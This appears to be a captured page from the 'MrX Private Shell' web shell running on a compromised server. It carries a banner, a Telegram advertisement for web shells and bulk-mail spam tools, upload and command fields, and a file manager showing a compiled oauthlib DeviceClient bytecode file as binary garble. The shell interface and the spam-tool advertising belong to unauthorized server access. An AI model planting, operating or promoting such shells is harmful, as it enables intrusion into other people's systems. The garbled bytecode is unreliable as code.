__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

'�{g���b�SrSSKJr SSKJrJr SSKJr SSKJ	r	 SSK
JrJr "SS\5r
g	)
z�
oauthlib.oauth2.rfc8628
~~~~~~~~~~~~~~~~~~~~~~~

This module is an implementation of various logic needed
for consuming and providing OAuth 2.0 Device Authorization RFC8628.
�)�add_params_to_uri)�BackendApplicationClient�Client)�InsecureTransportError)�prepare_token_request)�is_secure_transport�
list_to_scopec�H^�\rSrSrSrSrU4SjrSSjrS	SjrSr	U=r
$)
�DeviceClient�a�A public client utilizing the device authorization workflow.

The client can request an access token using a device code and
a public client id associated with the device code as defined
in RFC8628.

The device authorization grant type can be used to obtain both
access tokens and refresh tokens and is intended to be used in
a scenario where the device being authorized does not have a
user interface that is suitable for performing authentication.
z,urn:ietf:params:oauth:grant-type:device_codec�T>�[TU]"U40UD6 URS5Ulg)N�
client_secret)�super�__init__�getr)�self�	client_id�kwargs�	__class__s   ��H/usr/lib/python3/dist-packages/oauthlib/oauth2/rfc8628/clients/device.pyr�DeviceClient.__init__s&���
����-�f�-�#�Z�Z��8���c��[U5(d
[5eUcUROUnSUR4SUR4/nUR
bUR
SUR
45 U(aUR
S[U545 UH,nX5(dMUR
[U5X545 M. [X5$)Nr�
grant_typer�scope)
rrrrrr�appendr	�strr)r�urirr�params�ks      r�prepare_request_uri� DeviceClient.prepare_request_uri#s���"�3�'�'�(�*�*�#�m��
�
�������0�\�4�?�?�4S�U�����)��M�M�?�D�,>�,>�?�@���M�M�7�M�%�$8�9�:��A��y�y��
�
�s�1�v�v�y�1�2��!��-�-rc�|�URUS'XES'UcUROUn[UR4X!US.UD6$)a�Add device_code to request body

The client makes a request to the token endpoint by adding the
device_code as a parameter using the
"application/x-www-form-urlencoded" format to the HTTP request
body.

:param body: Existing request body (URL encoded string) to embed parameters
             into. This may contain extra parameters. Default ''.
:param scope:   The scope of the access request as described by
                `Section 3.3`_.

:param include_client_id: `True` to send the `client_id` in the
                          body of the upstream request. This is required
                          if the client is not authenticating with the
                          authorization server as described in
                          `Section 3.2.1`_. False otherwise (default).
:type include_client_id: Boolean

:param kwargs:  Extra credentials to include in the token request.

The prepared body will include all provided device_code as well as
the ``grant_type`` parameter set to
``urn:ietf:params:oauth:grant-type:device_code``::

    >>> from oauthlib.oauth2 import DeviceClient
    >>> client = DeviceClient('your_id', 'your_code')
    >>> client.prepare_request_body(scope=['hello', 'world'])
    'grant_type=urn:ietf:params:oauth:grant-type:device_code&scope=hello+world'

.. _`Section 3.2.1`: https://datatracker.ietf.org/doc/html/rfc6749#section-3.2.1
.. _`Section 3.3`: https://datatracker.ietf.org/doc/html/rfc6749#section-3.3
.. _`Section 3.4`: https://datatracker.ietf.org/doc/html/rfc8628#section-3.4
r�include_client_id)�body�device_coder)rrrr)rr&r%rr$rs      r�prepare_request_body�!DeviceClient.prepare_request_body6sP��J#�n�n��{��&7�"�#�#�m��
�
���$�T�_�_�<�4�+0�<�4:�<�	<r)r)N)�NF)�__name__�
__module__�__qualname__�__firstlineno__�__doc__rrr!r'�__static_attributes__�
__classcell__)rs@rrrs.���
�@�J�9�.�&@D�/4�)<�)<rrN)r.�oauthlib.commonr�oauthlib.oauth2rr�oauthlib.oauth2.rfc6749.errorsr�"oauthlib.oauth2.rfc6749.parametersr�oauthlib.oauth2.rfc6749.utilsrr	r�rr�<module>r7s)���.�<�A�D�L�P<�6�P<r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 400 B 0644
device.cpython-313.pyc File 4.61 KB 0644
Filemanager